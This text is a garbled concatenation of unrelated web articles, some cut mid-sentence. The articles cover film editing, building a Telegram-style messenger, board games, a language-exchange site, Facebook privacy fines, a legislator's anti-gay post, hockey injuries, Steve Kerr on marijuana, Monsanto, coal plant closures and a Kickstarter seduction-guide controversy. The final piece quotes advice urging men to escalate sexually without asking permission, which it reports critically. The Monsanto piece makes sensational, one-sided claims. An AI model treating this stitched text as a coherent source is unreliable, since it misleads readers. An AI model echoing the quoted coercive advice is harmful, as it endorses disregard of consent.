off-screen Police Lieutenant near the end of the sequence belongs to John Pritchett, the film's legendary sound mixer.) 'The Royal Tenenbaums' Credit: Buena Vista Pictures The Royal Tenenbaums ( 2001) The next film up for discussion was Wes Anderson's The Royal Tenenbaums. Of the director's style, the editor observed, "Wes Anderson's storylines are about emotions, but the mise-en-scène of the filmmaking is often dry and removed. Even though it's funny, it's proscenium arch kind of stuff...we're not living every minute with these characters." "Over the course of the film," he continued, "the emotion kind of bubbles up and you realize, 'Oh, I really care' and because he's held off on being directly kind of saccharine, it's now unexpectedly emotional." When O'Steen mentioned how the sequence has a sort of odd, comedic "button" that comes in when Luke Wilson's character is discovered by Dudley and the sound cuts out for half a second, Tichenor said the reason was "...mainly because [Dudley] did such a funny noise." "Wes Anderson is a mathematical editor." Tichenor described Wes Anderson as a "mathematical editor." Anderson initially requested that, during the quick cuts of Wilson in the mirror, each shot be equal in length. In the film, however, "they're not all the same length," said Tichenor. "It didn't quite work that way." Tichenor also revealed that they had tried not to cut to the rhythm of the Elliot Smith song in the background. "One of the things to do with editing is you set up a rhythm, either in cuts or in overarching sequence...and then you need to break that rhythm, because that's what gets people's attention," he said. Brokeback Mountain (2005) While cutting Brokeback Mountain with Ang Lee (Tichenor had taken over after the passing of his mentor, Peroni), Tichenor said that at one point, something wasn't "resonating" with Ennis, Ledger's character, though neither could tell what was wrong. Then, watching the film one day, Lee said, "Ah, he's touching her on the shoulder. I didn't want him to do that." "It was a startling difference just in seven or eight cuts." Although Tichenor figured out how to remove the moment, he said, "It's not a very elegant cut." (Here's where the shoulder touch would have been, at the moment of the cut into the kitchen; you can see by Ledger's motion away from Williams that less than a second has been excised.) Because Ledger was "so naturally warm, he would touch people on the elbow, or he would do these gestures or smiles and they were belying...[Ennis'] complete and utter problem with loving someone." Tichenor and Lee did a pass where they removed the other moments like this one, after which the character "felt like a cold, fucked-up person who was really torturing himself inside. It was a startling difference just in seven or eight cuts." This example is a testament to the power of film editing. By removing just 12 frames, the tone of the pivotal sequence underwent a profound, though subtle, shift. 'There Will Be Blood' (2007) Credit: Paramount Vantage There Will Be Blood (2007) After Magnolia, Tichenor and P.T. Anderson next collaborated on what has recently been named by The New York Times as the best film (so far) of the 21st century: 2007's There Will Be Blood, which earned multiple Academy Award nominations, including one for Tichenor. Unlike their first two collaborations, which were multi-character narratives with lots of parallel action, TWBB is, in the editor's words, "a different kind of beast." From the start, Tichenor and P.T. Anderson approached the project like a horror film, employing "gothic shot framing and trying to build tension without a lot of cuts." This methodology even factored into the font that was used for the titles. "The cuts that are more nerve-wracking to me are the slower, quieter ones," Tichenor continued. "There's a big spotlight on, 'Now I'm changing perspective; now I'm showing you something else.'" He explained that because the character of Daniel Plainview was so off-putting and inhuman—in Tichenor's words, "a huge ass"—one of the challenges was eliciting empathy from the story. He and P.T. Anderson approached this problem through the character of H.W., Daniel's adopted son, whose perspective of the action they tried to bring into focus in every scene. "I kept asking Paul for more shots of H.W.," Tichenor said. "The same stuff is happening, but let's watch it through his point of view." P.T. Anderson obliged, even adding scenes of the two bonding. (Here's a deleted one; it's the first of the three clips.) "The cuts that are more nerve-wracking to me are the slower, quieter ones." In contrast to quieter scenes, the editor feels as though "action functions more like [a] mosaic, where you have all the little pieces. When it's good, you get movement and flow." Regarding the decision as to when to drop the sound out during the above set piece, Tichenor said that, beyond wanting to make sure that what had just happened (H.W. losing his hearing) was clear to the audience, it also was a way to bring the audience back into H.W.'s point of view and "keep that thread" of showing events through someone other than Daniel's eyes. Tichenor also talked about the strategy underlying the sequence's rhythm. "It was not a fast movie," he said. "[In this sequence], we wanted to do set-up, set-up, static shots, then a long, handheld walk in...and from there, we wanted it to snap up." In fact, while cutting the seven-minute set piece, Tichenor found that there weren't as many angles as he wanted to use. As a result, he constructed some of them by punching in and out of different takes. "There are more angles than there were actual shots," he said. For example, when H.W. is blown back by the explosion, Tichenor made use of what he referred to as "...little repeated action things," i.e. quick cuts of the same footage, in order to add velocity to the sequence. The two hours of O'Steen and Tichenor's conversation were a quick masterclass in the art of editing. It's invaluable to hear an artist speak so candidly about their work and process, and even more so to see a film broken down on screen as you watch. Throughout the class, it was clear that, while Tichenor is funny and self-deprecating, he also has an innate sense of rhythm and pacing, as well as a thoughtful, wide-ranging understanding of cinema as a whole. This is almost certainly why he has, in a relatively brief career for a film editor—Boogie Nights is 20 years old this year—worked on so many modern classics with so many brilliant filmmakers.MONTREAL (May 25, 2012) – Montreal Canadiens executive vice president and general manager, Marc Bergevin, announced today the appointment of Rick Dudley to the position of assistant general manager. The Canadiens also announced a contract extension for Larry Carrière to remain assistant general manager. Dudley brings more than 40 years of experience in professional hockey, including the last
to security. But it still only has 1+ million downloads on Google Play against Telegram’s 100+ million. A lot of developers want to duplicate Telegram’s success. So what do you have to consider when building an app like Telegram? Let’s take a look. How you can make a chat app like Telegram 1. Security The most emphasized advantage of Telegram is its security. Telegram is one of leaders among other secure messaging apps. The creators of Telegram prioritize security as well as speed. At the very beginning, Telegram’s owners offered $200,000 to anyone who could break their messenger’s encryption. However, that money never found its owner. To build a messaging app with high security, you should decide what encryption protocol to use. All messages sent through Telegram are encrypted by a combination of 256-bit symmetric AES encryption, 2048-bit RSA encryption, and Diffie-Hellman secure key exchange. Unlike its main competitors with encryption features – Signal and WhatsApp – Telegram uses its own encryption protocol. Signal and WhatsApp use Open Whisper System’s protocol to enable end-to-end encryption in all of their chats, whereas Line’s and Telegram’s protocols are proprietary. [Image source: Mobile Forensics] But Telegram doesn’t protect all private chats with end-to-end encryption by default. Instead, it lets users choose whether they want to protect their messages by using the Secret Chat feature. In Secret Chats, users can also set a timer for their messages so they’re automatically deleted after a recipient has read them. Messages sent as secret chats aren’t stored on Telegram’s servers and can’t be forwarded. And if you try to take a screenshot of a secret chat, your partner will automatically receive a notification about your action. Media files are displayed in secret chats just by pressing and holding on them. Additionally, secret chats can only be continued from the device on which they were initiated. In other words, you can’t start a secret chat on your phone and then continue it on your tablet. According to the Electronic Frontier Foundation’s research, Telegram’s Secret Chats received a score of 7 of 7 for security. 2. API Telegram shares their API and welcomes developers to use it for free in their own apps. You’re even allowed to monetize products built on the Telegram API. [Image source: Stack Overflow] According to their terms of use, Telegram restricts companies with IPOs and those “who are looking for the large round of investment” from using their API, however, because such companies are incompatible with Telegram’s core value – data privacy. 3. Open Source code Telegram’s code is completely open source. This move attracts developers to the community by giving them an opportunity to be part of the development process. We’ve already investigated Telegram’s open source code. You can find the results of this investigation in our previous article: Read also: What’s Wrong with Open Source Telegram? 4. The most remarkable features Super Group Every group chat in Telegram can be promoted to a super group by its creator. Super groups allow users to pin an important message. They also have more advanced moderation tools. Admins of super groups can ban spammers, report them, and delete all messages from a particular user. Channels Telegram channels have more than 400 million views daily. Channels support a lot of convenient publishing features including Links to Post, which allows you to share a certain message with non-users; Silent Messages, which are sent without a notification, for example, if it’s late at night; and Admin Signatures, which allows you to identify the owner of a post. Instant View Instant view allows you to post news links that open instantly on a user’s device. Telegram’s instant view supports only a handful of news websites such as Medium and TechCrunch so far, but it’s constantly improving. [Image source: Telegram blog] Chatbots Telegram was one of the first messengers to launch their own bot platform. Chatbots on Telegram can perform a wide variety of tasks from reporting recent news to managing finances. Telegram’s Bot Platform is one of the most advanced to date. Cloud Storage Cloud storage is a useful feature for those who switch between different devices such as a smartphone, tablet, and desktop. The fact that Telegram is cloud-based means users can sync their messaging data across all of their devices and can start typing a message on one device and continue on another. Telegram’s business model From the outset, Pavel Durov, the founder of Telegram, said that he doesn’t plan to make money from the messenger. It’s fully sponsored by him with money he earned from selling the popular social network Vkontakte. The amount invested into Telegram is estimated at $300 million. Eventually, however, Telegram’s creators commented that “you can’t burn cash forever.” But Durov assures us that the messenger will always be free for users, and that there will never be any advertising or subscription fees. Now, the company is looking for a suitable business model that wouldn’t break with its principles but would allow them to keep improving the product at the same pace. Telegram also doesn’t allow creators of bots or games to show ads in their products. Instead, in October 2016, they announced that they’re working on a unified monetization system for creators of products for the Telegram platform. The first step towards monetizing Telegram was made in September 2016 through a third-party platform when Durov’s team released paid stickers for iMessage. The money earned from those stickers is spent on designers’ salaries and the creation of new stickers. How does Telegram attract users and developers The Telegram team claims that they haven’t spent a penny on promotion and advertising. Users come to the app only because of its maturity. A number of features and tools attract users who need a channel for professional communication such as bloggers and SMM managers; developers are attracted by the opportunity to get their products on a new platform. Telegraph Telegraph is a publishing tool that lets users create fully formatted posts with media files. Moreover, posts created with Telegraph are supported by Instant View. Telegraph encourages SMM managers and bloggers to choose Telegram over another chat application for communicating with their audience. Gaming Platform With Gaming Platform you can create simple HTML5 games with graphics and sound. These games are loaded on-demand like regular webpages instead of being downloaded on a user’s device like an app, saving storage space. [Image source: Telegram blog] According to Telegram’s blog, it took just five hours for a Telegram developer to create and set up a demo time-challenge game, Corsairs, with graphics, sound, and animations. The goal of Corsairs is to avoid being shot for as long as you can. Bot API The Bot API allows bot developers to connect their programs to the Telegram system. The Telegram team constantly updates their bot platform that attracts developers who will create their own bots for Telegram. Money rewards for developers and designers Telegram continuously holds competitions for developers and designers, asking them to create libraries, interfaces, or products. Here are a couple examples of such challenges. In 2016, Durov announced that he would going to give $1 million to the developers of the best Telegram bots: $25,000 to each developer. This is one of the most effective ways to promote Telegram among developers and to improve the platform. [Image source: Telegram blog] In order to attract the coolest designers, at the beginning of 2016, the Stickers Contest was held for Russian designers. The winners joined Telegram’s design team and received $80 per sticker. The secret of Telegram’s growth can’t be explained simply by its appealing contests and cool features. Whether it’s luck or a calculated plan (or even magic) we can’t say, but in 2014, right after Facebook purchased WhatsApp, Telegram got 8 million new users. Another stroke of luck occurred in 2016. At the time, WhatsApp was temporarily blocked in Brazil, and as a result, Telegram got almost 6 million new users in one day. Brazilian mobile operators couldn’t even handle the huge number of SMS messages with verification codes. A lot of developers are interested in creating messenger apps. Despite the fact that there are some behemoths in the market, newcomers constantly try to stand out by offering new features.ROSEVILLE, Minn. - The Greenaway family could have gone to Disney World, New York or Hollywood. Instead, the family of four from Bristol, England chose a galaxy far, far away—Roseville, Minnesota. “So we decided not to spend the Disney dollars and come here instead,” said Richard Greenaway. The trip is a pilgrimage to meet the designers of a game, father Richard says, that changed their lives. “Try having a conversation with any British child while they are watching on their iPad. It's impossible,” said Richard. Like so many kids, Richard’s boys Tim, 11, and Simon, 9, were chronic tablet users. “I like them, but this is better,” said Tim while studying the board game pieces on the table. Richard decided to get his boys a cool-looking Star Wars board game as a bonus-gift for Christmas last year. “That's where it exploded,” he said. It's called Star Wars X-Wing Miniatures Game. For those unfamiliar, it’s like Risk meets Chess meets Chewbacca, and it's one of the biggest table top games in the world. Sign Up for the Sunrise Morning Newsletter Thank You Something went wrong. This email will be delivered to your inbox once a day in the morning. Thank you for signing up for the Sunrise Newsletter Please try again later. Submit And it happens to be manufactured by Fantasy Flight Games in Roseville. “We have the Star Wars line, Lord of the Rings, Game of Thrones,” said Kyle Dekker, general manager of the company’s game center. “I'm packed almost every night of the week in the game center as people all over the Twin Cities come here to play board games, miniature games and card games.” FFG is a big part of the hobby game boom. North American hobby game sales have grown eight consecutive years reaching $880 million in 2014, according to industry magazine Internal Correspondence. Why the boom? Many fans say these games offer more community, more interaction, and more learning opportunities than video games. “There's the social aspect you get from it that you don't get with video games that people really enjoy,” said Dekker. Richard says his kids have improved their math skills, reading ability, and social confidence since playing X-Wing. “My youngest really wasn't interested in learning to read, because he couldn't see any joy in it. Now, this game and reading the rules of this game means he has a desire to learn new words and learn to comprehend them,” said Richard.The Mixxer is an entirely free non-profit website hosted by Dickinson College. The site is open to anyone looking to practice a with a native speaker in exchange for help with their own. Once registered, users can contact potential language exchange partners via live chat on the site. Members can practice speaking with the language partner via Skype or improve their writing by submitting a writing sample and asking for corrections from native speakers. Those using the writing function are asked to return the favor by correcting short samples in their native language. Our guidelines are very simple. Members are here to practice a language (this is an educational site, not a dating site), and everyone agrees to be respectful and courteous to all users at all times. Welcome to our community where everyone is both teacher and learner.Johannes Caspar, data protection commissioner for the German state of Hamburg, today declared he is preparing legal action against Facebook and will soon fine the company over its use of biometric facial recognition technology. He said "further negotiations are pointless" because the company had ignored a deadline he set for it to remove the feature. German authorities could fine Facebook up to €300,000 ($420,000). For its part, Facebook continues to reject Caspar's position, saying the feature satisfies German law because it is easy to disable. This may be true, but one of the founding principles of German data protection law is that users must opt-in, not merely have the option to opt-out, before data can be collected about them. "This requires storing a comprehensive database of the biometric features of all users," the organization wrote in a German-language statement published on its website, according to a translation by Deutsche Welle. "Facebook has introduced this feature in Europe, without informing the user and without obtaining the required consent. Unequivocal consent of the parties is required by both European and national data protection law." "We believe that any legal action is completely unnecessary," a Facebook spokesperson said in a statement. "[The] tag suggest feature on Facebook is fully compliant with EU data protection laws." When you upload new photos, Facebook uses software similar to that found in many photo editing tools to match your new photos to other photos you’re tagged in. Similar photos are grouped together and, whenever possible, Facebook suggests the name(s) your friend(s) in the photos. In other words, the square that magically finds faces in a photo now suggests names of your Facebook friends to streamline the tagging process, especially when the same friends are in multiple uploaded photos. Facebook rolled out Tag Suggestions across the US in December 2010, but only in June 2011 did it start pushing it out to many other countries, including Germany. European Union data-protection regulators started looking into the feature almost immediately after Facebook began rolling it out worldwide. A month later, Germany threatened Facebook with legal action saying the technology violates the country's privacy and data protection laws. Facebook has repeatedly come under fire in Germany, where privacy is a particularly sensitive issue for historical reasons. See also:Mississippi state Rep. Andy Gipson (R) weighed in on President Barack Obama's gay marriage decision last week, invoking a bible passage that calls for gay men to be "put to death." In a May 10 Facebook post, Gipson called homosexuality a "sin," citing Leviticus 20:13 and Romans 1:26-28: Leviticus 20:13 reads: "If a man has sexual relations with a man as one does with a woman, both of them have done what is detestable. They are to be put to death; their blood will be on their own heads." On the same thread, he responded to a follower, calling same-sex relationships "unnatural" and suggesting that they will inherently "result in disease": UnityMS flagged the post and issued a response to Gipson's comments: Mr. Gipson needs to realize he represents all of his constituents. He should not cherry-pick which constituents he wants to work for. He should also realize his positions are neither popular nor Republican. LGBT individuals, couples, and families help pay Gipson’s salary. It’s important that he remember that.Guy Boucher didn't sound overly optimistic about his trio of Ottawa Senators forwards that suffered injuries in Sunday's loss to the Winnipeg Jets. Mike Hoffman, Mark Stone, and Tommy Wingels were all forced to exit the game. The Senators were already short-staffed up front with the injury to Bobby Ryan, who was ruled out indefinitely before Sunday's contest after taking a shot off his hand in Saturday's win over the Toronto Maple Leafs. “Tough day with the loss of Bobby and then we lost another bunch of guys," the Senators head coach lamented to reporters postgame, including Postmedia's Bruce Garrioch. "At some point I felt, there was nobody on the bench," Boucher added. "I can give you an update – it doesn’t look good. We have to wait until tomorrow to be clear and precise about all these guys." While repeatedly cautioning that the team needed more time to determine the extent of the injuries, Boucher was clearly preparing for the worst. “Right now, we could be losing quite a few guys … It looks like a disaster," he said. "We’ll see tomorrow and maybe the disaster is not as bad as we think, but you’ve got to be ready for anything.” Hoffman left late in the first period with what the team would only dub a "lower-body" injury. Stone was the recipient of a third-period headshot from Jets defenseman Jacob Trouba. “It (was) a clear hit to the head with the shoulder,” Boucher argued. “(Stone is) one of the best players in the league and I think everybody saw the same thing.” Wingels departed the Senators' bench several minutes after the Trouba-Stone hit, leaving Ottawa with only eight forwards, having started the game with 11. Ottawa's injury woes come at a particularly inopportune time as the club is about to embark on a four-game road trip that begins Tuesday night in New Jersey. Sunday's loss prevented the Senators from tying the Montreal Canadiens' point total atop the Atlantic Division, but they still have two games in hand.Warriors coach Steve Kerr said on a CSN Bay Area podcast on Friday that he “would hope” that the NBA will consider legalizing marijuana as a healthier pain reliever for players than drugs like Vicodin. Kerr pointed to the inequality between the way pain pills are prescribed “like it’s no big deal” to professional athletes, while substances like marijuana remain illegal. "Without being an expert on it, but I know enough, especially over the last couple of years having gone through my own bout with chronic pain, I know enough about this stuff. Vicodin is not good for you. It's not. It's way worse for you than pot," said Kerr, as transcribed by ESPN. Kerr said he has tried marijuana after complications from back surgery two summers ago led to chronic pain and caused him to miss nearly three months to start last season. Medical marijuana has been legal in California for years, although Kerr admitted he didn’t know whether his use of the drug was fully supported by the NBA. "A lot of research, a lot of advice from people, and I have no idea if I would, maybe I would have failed a drug test,” Kerr said. “But it was worth it because I'm searching for answers on pain. But I've tried painkillers and drugs of other kinds as well, and those have been worse. It's tricky." On Saturday, Kerr addressed the issue in depth, starting by saying he was surprised it turned into a huge story and was disappointed that many national headlines focused on him smoking weed rather than the topic of pain relief. “What is a very serious conversation about pain relief turns into a headline: Kerr Smokes Pot,” Kerr told Bleacher Report. “I guess that’s the world we live in.” Steve Kerr's complete comments tonight regarding his use of medicinal marijuana and how leagues should approach the issue of pain relief. pic.twitter.com/8ScmB3zZGO — Erik Malinowski (@erikmal) December 4, 2016 In particular in the Friday podcast, Kerr pointed out the hypocrisy of the NFL. “If you're an NFL player in particular and you got lot of pain, I don't think there's any question that pot is better for your body than Vicodin,” Kerr said. “And yet, athletes everywhere are prescribed Vicodin like it's Vitamin C, like it's no big deal. There's like this perception in our country that over-the-counter drugs are fine, but pot is bad. Now, I think that's changing. You're seeing that change in these laws that you're talking about in different states, including California. But I would just hope that sports leagues are able to look past the perception.” It’s not just Vicodin — the NFL has a growing health crisis involving Toradol, a painkiller it has liberally prescribed for two decades without a clear idea of its long-term effects. Some NFL executives have expressed a willingness to rule back the league’s harsh weed penalties, but those changes haven’t happened yet. In a 2014 interview with GQ, commissioner Adam Silver said the league’s belief is that marijuana would affect a player’s performance on the court. As such, he said, “It’s our strong preference that our players do not consume marijuana.” Currently, the NBA doesn’t suspend players from the league until they test positive for marijuana for a third time. (The suspension is a five-game penalty, one Mitch McGary received this summer, for example.) However, Kerr doesn’t see the logic in listing marijuana as a banned substance at all, given what the league does allow and even prescribes. "I know enough about this stuff,” Kerr said. “Vicodin is not good for you. It's not. It's way worse for you than pot.”About the author (NewsTarget) According to a recent Associated Press investigation, agri-giant Monsanto regularly employs business practices that not only aim to eliminate all competition, but essentially position the company as the sole proprietor of all things related to food. While old news to many in the natural health community, the mainstream press is beginning to recognize the world domination tactics being employed by Monsanto that are slowly destroying the integrity of the global food supply.Monsanto's genetic modification program has reached 95 percent of domestic soybean crops and 80 percent of domestic corn crops. It has plans in the works to insert its patented genes into wheat crops as well, given U.S. farmers agree to use them this time around. These percentages are likely even higher when considering the natural and unintended spread of pollen and seeds from these genetically-modified organisms (GMOs) into conventional or organic fields.According to Neil Harl, an agricultural economist from Iowa State University, Monsanto now has patented control over 90 percent of seeds and seed genetics, a chilling notion that has far-reaching consequences. Since the company regularly buys up independent seed companies, its competition is dwindling and the prices for its patented seeds continue to rise.The U.S. Department of Justice (DOJ) and at least two state attorneys general are probing Monsanto's contracts and agreements that many are alleging violate antitrust laws. Everything from exerting unreasonable control on farmers who purchase its seeds to flat out lying about their benefits is under investigation.Once a farmer agrees to use even a single Monsanto gene or seed he is essentially locked into a contract with Monsanto that is very difficult to get out of logistically. Once the seed traits have proliferated a crop, removing it in order to revert back to a conventional seed is extremely difficult and expensive, leaving many farmers helpless to escape Monsanto's control over them.Monsanto's contracts also contain provisions that mandate the destruction of all seeds containing its genes if and when a seed company changes ownership, making it easy for Monsanto to buy up seed companies cheaply and eliminate all competitor participation in the bidding process.Many seed growers and crop farmers feel cornered by Monsanto as it solidifies its control over the entire seed and crop industry. Most have no other option but to continue using Monsanto products or else face ruin. Unless the DOJ steps in and clamps down on Monsanto's quest for total control, the world's food supply may eventually be controlled by a single biotechnology corporation.Sources:Ethan Huff is a freelance writer and health enthusiast who loves exploring the vast world of natural foods and health, digging deep to get to the truth. He runs an online health publication of his own at http://wholesomeherald.blogspot.comThe decline is largely because new pollution rules have made coal plants more costly, while a surge in production of natural gas through the process of hydraulic fracturing, known as fracking, has sent gas prices plummeting. Together, the economics of coal have been transformed after a century of dominance in Washington, state capitals and the board rooms of electric utilities. “The math screams at you to do gas,” said Mr. Morris, whose company is the nation’s largest consumer of coal. Environmental groups, after years of targeting coal plants as leading sources of air pollution, have moved in for the kill. “We never thought we would get to a place where coal plants are falling so fast,” said Bruce Nilles, the director of the Sierra Club ’s Beyond Coal initiative. It has been aided by $50 million from Mr. Bloomberg, who views the campaign as part of a public health effort, and $26 million from an odd bedfellow: the top official of a natural gas company. The environmentalists figure that if they can shut down a third of the nation’s coal burning plants by 2020, emissions of greenhouse gases in the United States could be cut at least as much as they would have under a landmark 2009 climate bill that died in Congress. But the coal industry is mustering all the weapons it can: lobbying, legislation, litigation and a multimillion-dollar advertising campaign trumpeting the benefits of “clean coal.” The fight has even become an issue in the presidential campaign, with the industry blaming President Obama and the Environmental Protection Agency for the onslaught, and Mitt Romney, the presumptive Republican nominee, hinting that he would roll back some of the rules. Here in Kentucky, the intervention by Mr. Adkins and other coal industry advocates has saved coal at Big Sandy, at least temporarily. American Electric Power, which is based in Columbus, Ohio, is proposing a $1 billion retrofit to allow the plant to continue burning coal and has asked Kentucky regulators to approve a 30 percent increase in electricity rates to pay for the work. But that request, which will come up for a vote by the state’s utility commission within the next week, has inspired resistance from some residents, large industrial companies that consume much of Kentucky’s electricity and even the state attorney general’s office. Advertisement Continue reading the main story Pressured on the domestic front, some giant American coal producers, like Arch Coal and Peabody Energy, are shifting their attention to markets overseas, where coal-fired power plants are being built faster than they are being abandoned in the United States. Even if Big Sandy continues to eat up 90 rail cars of coal a day, the industry’s decline is evident here. Sales to Midwestern power plants have slumped, as has the market price of coal, dropping so suddenly that many local mines are cutting back hours or closing. A warm winter, decreasing demand, only made matters worse. “I call it the imperfect storm,” Mr. Adkins said. “And it is breaking the back of our local economy.” A Coordinated Effort The anger toward Washington is palpable in this impoverished corner of Eastern Kentucky, where miners display bumper stickers or license plates on their pickup trucks with slogans like “Coal Keeps the Lights On” or “If Obama Is the Answer, How Stupid Was the Question?” Photo It is hard to find anyone here who does not feel affected by the fate of Big Sandy. Just as the smokestack at the plant towers over the countryside, Big Sandy dominates much of life here. Danny Sartin, 61, a barrel-chested heavy equipment operator at the plant, said his father, grandfathers and uncles all worked in local mines that feed Big Sandy. “Coal and the coal mining industry, it’s all we have ever known,” Mr. Sartin said. Some of that coal comes from the Licking River mine, about 50 miles south of Big Sandy, where miners rip apart hillsides to reach vast seams just below the surface. Chris Lacy, 41, an executive at Licking River Resources Inc., said layoffs among his 350 miners — in Magoffin County, where unemployment is already 17.5 percent — are inevitable if the coal furnaces at Big Sandy go cold. Even the garden supply company that Mr. Lacy’s father-in-law owns and where his two sons work indirectly relies on Big Sandy, because mines are required to plant grass over the scarred earth they leave behind. “It is the ripple effect that comes right through us,” Mr. Lacy said. Advertisement Continue reading the main story Channeling the animosity toward Washington and fears about their livelihoods, coal producers, union leaders, landowners and railroads came together to pressure American Electric Power to back down on its plan to close the coal furnaces at Big Sandy. They have leaned on county judges, state legislators and other politicians to attempt to silence public criticism of the 30 percent electricity rate increase and to pressure the Kentucky Public Service Commission to approve the retrofit project. Saving coal, they argued, justified the rate increase, which would cost the average residential customer about $472 a year in addition to the typical $1,580 annual bill today. “I will grant you it is going to cost a lot of money to retrofit that plant,” said Nick Carter, the president of a company that represents landowners whose properties hold billions of tons of coal reserves. “But how many teachers will be laid off and how many churches will have to close if Big Sandy stops burning coal?” At Dee’s Drive Inn Restaurant, a fixture on Main Street in Louisa, the patrons are split. Fred Klinebriel, 58, a disabled former steelworker, said his father was a mine worker and his brother a trucker who moved coal. But if keeping coal means an even bigger electric bill, he is not sure it is worth it. “I am up against the wall right now as it is,” he said. “I guess you are damned if you do and damned if you don’t — or at least we are here in coal country.” Environmental Issues What went largely unspoken in the dozens of pages of e-mails, letters and other pitches these players have churned out in the fight to keep the plant open were the perils of coal, which extend far beyond mine accidents and black lung disease. The Big Sandy plant spews tens of thousands of tons of pollutants each year into the region’s air, including sulfur dioxide and smaller amounts of mercury, which can cause health problems like respiratory illnesses and possibly developmental disabilities among children. Many of these pollutants would be significantly reduced with the retrofit, but the plant would continue to be a major source of carbon dioxide, which is blamed for global warming. Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content, updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters. Big Sandy also maintains a sprawling coal ash pit near the plant, created to store waste ash after the coal is burned, that the E.P.A. recently listed as one of 45 “high hazard” pits nationwide. That means it “will probably cause loss of human life,” the E.P.A. says, if a serious accident occurs. In Tennessee in 2008, a billion gallons of slurry from a coal ash pit washed out area homes and streams, though no deaths resulted. Meanwhile, federal regulators have accused the owners of Licking River of dumping debris, known as spoil, from another nearby mine into a local valley, harming wildlife and an intermittent local stream. Mr. Lacy, the Licking River executive, says such concerns are overblown. Instead, he talks of a conspiracy by environmentalists and the Obama administration to destroy the way of life here in Kentucky. Advertisement Continue reading the main story “I at least have to give them some credit,” he said. “It has been well played on their part, very methodical, step by step.” Some of the regulations the industry finds objectionable, though, had their origins in a Republican administration. In 1990, President George Bush proposed and Congress approved sweeping revisions to the Clean Air Act, authorizing the E.P.A. to regulate emissions of mercury, arsenic and other toxic airborne chemicals. The agency determined in 2000 that it had the power to limit such emissions from power plants, but a weak rule issued under the second Bush administration was successfully challenged in court by environmental advocates. The Obama administration, acting under court order, issued new standards in December that would require more emissions reductions by all but the top-performing plants. Gina McCarthy, the director of the Office of Air and Radiation at the E.P.A., said that accusations of collusion between the agency and environmental advocates were unfounded. “Coal will continue to be a large part of electric generation in this country for a long time,” Ms. McCarthy said in an interview. “I just hope it is cleaner.” Photo Mr. Lacy is hardly convinced. As he drove through the Licking River mine during a shift change one recent afternoon, his face reddened. “If they keep this up, the people who live here are going to have to move somewhere else, like during the Depression,” he said. “This place is suffering in a bad way.” Unlikely Allies Tacked up on the wall in a cramped office in Columbus, Ohio, that serves as the Midwest headquarters for the Sierra Club is a map of the United States with the headline “Coal Plants Under Target.” Dozens of color-coded pins form a giant U shape — from Minnesota, south to Missouri, east to Kentucky and then up to Ohio — with each marking a plant that the Sierra Club is determined to shut down. For years, the group filed lawsuits to try to force utilities or federal regulators to comply with pollution-control laws and organized public opinion campaigns to try to block the construction of plants. But the change in the energy marketplace has given the environmentalists an extraordinary new weapon: the pocketbooks of consumers. Advertisement Continue reading the main story “The coal industry used to be able to get away with murder, here in Ohio and throughout Appalachia,” said Nachy Kanfer, 27, a Sierra Club organizer. “Not anymore.” In late April, Mr. Kanfer and other Sierra Club staff members traveled to Kentucky to testify before the Kentucky Public Service Commission. They argued that American Electric Power should not be allowed to retrofit Big Sandy — an argument they are making in many states — because there are less expensive alternatives to deliver power. Elsewhere, the Sierra Club and other environmental groups are also pressing local officials in metropolitan areas to help shut down coal-burning power plants. In Chicago, for example, Mayor Rahm Emanuel recently announced that the city’s last two coal-fired plants would close in 2014, four years earlier than expected. One of the most important early allies in this fight was Aubrey K. McClendon, the chief executive of Chesapeake Energy, who donated $26 million starting in 2007 to help the Sierra Club with its campaign. The company also donated millions of dollars more to the American Lung Association, which used the money, in part, to run “Fighting for Air” television commercials. Some of the most recent ads in the campaign feature a baby coughing, wheezing and then crying while sitting outside a coal-fired power plant. The Sierra Club came under attack from other environmental activists for accepting money from Mr. McClendon, whose company has a financial interest in killing off its competition but burns a fossil fuel itself. Mr. Nilles, the director of Beyond Coal, now views it as a mistake. “We would not do it again,” he said. Other deep-pocketed donors have stepped in, including Mr. Bloomberg, whose intervention has infuriated Kentucky officials like Mr. Adkins, the legislator. “Mayor Bloomberg should stay in that high-rise condo or his mansions,” Mr. Adkins said, “and eat his caviar while we keep his lights on in New York City.” Advertisement Continue reading the main story Big Coal has hardly conceded defeat in this multifront war. The industry has increased political campaign contributions in the last four years to historic levels, with 80 percent of those donations going to Republicans, according to the Center for Responsive Politics. Companies like Arch Coal, which used to spend only about $100,000 a year on lobbyists in Washington, invested $5.7 million to push its case during the first three years of the Obama administration. And even as American Electric Power plans to close 5 of its 21 coal-burning plants and rely much more on natural gas, it still intends to retrofit 12 plants. That means it will be burning coal for years to come. A rise in natural gas prices could also slow the decline of coal as a power source. So the company has joined with old allies in Washington to try to delay the new rules and block any future ones. The industry and its supporters have also gone to court, filing lawsuits challenging E.P.A. rules that limit pollution from coal-burning plants from crossing state lines and the mountaintop mining rules that are holding up new permits in Kentucky and West Virginia — legal fights that the industry has had some success with so far. But the regional agency that coordinates electric power delivery in the mid-Atlantic and the Midwest cannot wait for the battles to be resolved. This month, it auctioned off the rights for utility companies to supply electricity that will be needed to make up for what is lost through coal plant retirements. Most of the new power is fueled by natural gas. “It’s an unprecedented transition,” said Michael J. Kormos, senior vice president for operations at PJM Interconnection, the regional group that coordinates power delivery for 60 million people in 13 states. “But whatever happens, we have to make sure we keep the lights on.”Is this Kickstarter campaign a 'guide for rapists'? Netizens rail against book that claims to help men seduce women. Storified by The Stream· Wed, Jun 19 2013 09:23:20 Even when a girl rejects your advances, she KNOWS that you desire her. That's hot. It arouses her physically and psychologically.webcache.googleusercontent.com Never, ever, ever, wait for a SIGN before you escalate! You will miss out on the vast majority of chances if you sit around waiting for SIGNS. Men are notoriously bad at reading women's minds and body language. Don't think that you're any different. From now on you must ASSUME that she is attracted to you and wants to be ravished.webcache.googleusercontent.com Don't ask for permission. Be dominant. Force her to rebuff your advances.webcache.googleusercontent.com He does include a short note about rejection: If at any point a girl wants you to stop, she will let you know. If she says "STOP," or "GET AWAY FROM ME," or shoves you away, you know she is not interested. It happens. Stop escalating immediately and say this line: "No problem. I don't want you to do anything you aren't comfortable with."webcache.googleusercontent.com If a woman isn't comfortable, take a break and try again later.webcache.googleusercontent.com Many online claimed that Hoinsky's advice encourages men to push women beyond their comfort levels, with one blog labeling the guide "a play-by-play description of sexual assault." This @Kickstarter project teaches men to 